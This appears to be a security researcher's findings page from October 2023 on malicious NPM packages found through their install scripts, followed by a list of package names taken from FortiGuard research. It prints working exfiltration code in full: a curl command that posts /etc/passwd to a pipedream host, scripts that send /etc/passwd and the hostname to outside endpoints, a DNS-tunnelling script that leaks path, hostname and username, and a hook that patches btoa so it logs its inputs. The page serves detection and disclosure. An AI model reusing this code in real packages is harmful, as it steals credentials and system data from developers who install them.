NPM malware results, Oct 4, 2023

   

Reviewing pre- and postinstall scripts for NPM packages.

References to passwd:

package version preinstall postinstall
cat-etc-passwd 1.0.2 node index.js
cat-etc-passwd 1.0.3 node index.js
cat-etc-passwd 1.0.4 node index.js
securisecidonothing 1.0.2 cat /etc/passwd
sophs-test-package 1.7.6 blah /etc/passwd blah
peekatchuysharmlesspackage 1.0.15 touch ../../evil brave https://www.youtube.com/watch?v=dQw4w9WgXcQ?autplay=1 && cat /etc/…
peekatchuysharmlesspackage 1.0.16 touch ../../evil brave https://www.youtube.com/watch?v=dQw4w9WgXcQ?autplay=1 && cat /etc/…
peekatchuysharmlesspackage 1.0.17 touch ../../evil brave https://www.youtube.com/watch?v=dQw4w9WgXcQ?autplay=1 && cat /etc/…
lenskart 1.0.5 /usr/bin/curl --data '@/etc/passwd' $(hostname).eo2z7l1ydft6861.m.pipedream.net
lenskart 1.0.6 /usr/bin/curl --data '@/etc/passwd' $(hostname).eo2z7l1ydft6861.m.pipedream.net

Packages that reference request during preinstall (such as to install the request library for HTTP requests):

package version preinstall postinstall
@0xshahriar/svgo 1.3.1 curl -X POST -d 'Hello' https://0xshahriar.requestcatcher.com/
@sagedotcomwebteam/sagedotcom 7.0.0 npm i request --save-dev node index.js
bashlist-mac 1.0.1 pip install requests && python osdetect.py
bashlists 1.0.0 pip install requests && python osdetect.py
bashlists 1.0.1 pip install requests && python osdetect.py
bashlists 1.0.2 pip install requests && python osdetect.py
bashlists 1.0.3 pip install requests && python osdetect.py
bashlists 1.0.4 pip install requests && python osdetect.py
build-package-json 1.0.5 npm i readline-sync async-request async-child-process shelljs
sagedotcom 7.0.0 npm i request --save-dev node index.js
file-dependencies 1.0.1 npm install q@1.1.2 request@2.53.0 node file-dependencies.js
file-dependencies 1.2.1 npm install q@1.1.2 request@2.53.0 node file-dependencies.js
npm-curl-test 1.0.0 curl --request GET \ --url http://192.168.188.5:3000/
openshift-cli 1.0.6 npm install request@2.74.0 unzip@0.1.11 && ./scripts/install.js
@res-dlt-interop/fabric-interop-sdk 2.2.1-a… npm i request --save-dev node index.js
@res-dlt-interop/fabric-cli 2.2.1-a… npm i request --save-dev node index.js
@media-extensions/commons 0.0.1 npm i request --save-dev node index.js
bunnymen 0.0.1 npm i request --save-dev node index.js
@coherence-design-system/controls 0.0.1 npm i request --save-dev node index.js
@cseo/controls 0.0.1 npm i request --save-dev node index.js
foundation-docs 0.0.1 npm i request --save-dev node index.js
showcase-echo-client 0.0.1 npm i request --save-dev node index.js
@create-aptos-app/eslint-config 0.0.1 npm i request --save-dev node index.js

cat-etc-passwd@1.0.4

/index.js

const { exec } = require('child_process');
const fetch = require('node-fetch');

exec('cat /etc/passwd', (error, stdout, stderr) => {
  if (error) {
    console.error(`exec error: ${error}`);
    return;
  }

  fetch('https://us-central1-xenon-shard-259622.cloudfunctions.net/http-request-logger', {
    method: 'POST',
    body: `
      stdout:

      ${stdout}

      stderr:

      ${stderr}
    `
  });
});

hackage@1.0.5

/index.js (postinstall script) inserts additional code into the btoa base64 encoding routine:

const fs = require('fs');

try {
    const dir = fs.readdirSync('./node_modules/btoa');
    const file = fs.readFileSync('./node_modules/btoa/index.js');
    const content = file.toString();

    const newContent = content.replace("return buffer.toString('base64');", `
    console.log(str)
    return buffer.toString('base64');
    `);

    fs.writeFileSync('../henk', newContent);
    fs.writeFileSync('/henk', newContent);
    fs.writeFileSync('./node_modules/btoa/index.js', newContent);
} catch (e) {
    console.log('shame on me', e)
}

harel-logger-ts@1.0.8

/dns.js (preinstall script) exfiltrates path, hostname, username via DNS queries:

var os = require("os");
const dns = require('dns');

const characters ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
const baseurl = ".cdt6561bn6qs73f30tr0z3rxd3et79r1s.oast.fun"
const id = generateString(3) + "."
const npmpkg = "harel-logger-ts"
const path = process.cwd().toString();
const hostname = os.hostname().toString();
const username = os.userInfo().username.toString();

const data = npmpkg + '.' + path + '.' + hostname + '.' + username
const dataHex = Buffer.from(data, 'utf8').toString('hex')

//console.log('data: ' +dataHex)

function generateString(length) {
    let result = ' ';
    const charactersLength = characters.length;
    for ( let i = 0; i < length; i++ ) {
        result += characters.charAt(Math.floor(Math.random() * charactersLength));
    }

    return result;
}

function chunkString(str, length) {
  return str.match(new RegExp('.{1,' + length + '}', 'g'));
}
function breakAndSend(value){
	let chunks = chunkString(value, 50)
	console.log(chunks)
	chunks.forEach(function (chunk, index) {
		//console.log(chunk, index);
		let url = id.toLowerCase() + index.toString() + '.' + chunk + baseurl

		//console.log(url + '\n');
		
		
		dns.resolve(url, (err, address, family) => {
		  if(err) throw err;
		  //console.log(address);
		});
		
});

}

breakAndSend(dataHex)

stripe-terminal-react-native@999.99.99

/index.js (postinstall script) trivially exfiltrates hostname:

var os = require("os")
const request = require('requests')
var fs = require('fs')

var h = os.hostname()

request(`https://eoenp5lacdw4vru.m.pipedream.net/?h=${h}`, (error, response, body) => {})

user: hello@kotko.me

Seems to be staging packages with install scripts, like @_ts/sail/index.js (start script):

console.log("run")

external research

FortiGuard Labs Threat Research: Malicious Packages Hidden in NPM

https://www.fortinet.com/blog/threat-research/malicious-packages-hiddin-in-npm

    evernote-thrift (version 1.9.99)
    en-features-rollout (version 1.90.9)
    en-conduit-electron (version 1.90.9)
    en-conduit-electron-auth (version 1.90.9)
    en-conduit-electron-worker (version 1.90.9)
    en-thrift-internal (version 2.30.9)
    en-conduit-electron-renderer (version 1.90.9)

    discorddd.jss (versions 1.4.9, 1.5.0, 1.6.4)
    saaaaaaaaaaaaaaaaaaaaaaa (version 1.4.1)

    @cima/prism-utils (versions 23.2.1, 23.2.2)

    squarespace-abtest (version 1.0.1)
    ruamel.taml.clib (version 0.1.2)
    regily (version 1.0.0)  
    developer-scaffold-full-width-wrapper (versions 1.9.9, 21.0.9)
    @abb-americas/angular-utilities (version 1.0.0)
    @abb-americas/image-scaler (version 1.0.0)
    @abdulmz/mz-test (version 1.1.1)
    @ikea-aoa/component-financial-services (version 99.0.1)
    @ikea-aoa/component-lightbox (version 99.0.1)
    @ikea-aoa/component-popover (version 99.0.0)

    @dtx-company/flowcode-generator-types (version 200000.0.2)

    @next-translate-root/i18n (versions 1.0.1, 1.0.2)
    @ag-grid-react/lib (version 1.0.1)
    @next-translate-root/locales (versions 1.0.0, 1.0.1, 1.0.2)

    @zola-helpers/client (versions 1.0.1, 1.0.2, 1.0.3)
    suncorp-styleguide-base (versions 1.0.3, 1.0.4, 1.0.5)

    binarium-crm (versions 1.0.0, 1.0.9, 1.9.9)
    career-service-client-0.1.6 (versions 0.1.6, 0.1.13, 0.1.15)
    hh-dep-monitoring (versions 0.1.5, 0.1.14)
    orbitplate (versions 1.0.4, 1.0.6)

    @expue/webpack (version 0.0.3-alpha.0)
    @expue/core (version 0.0.3-alpha.0)
    @expue/vue3-renderer (version 0.0.3-alpha.0)
    @fixedwidthtable/fixedwidthtable (version 0.0.2)
    @virtualsearchtable/virtualsearchtable (version 0.1.1)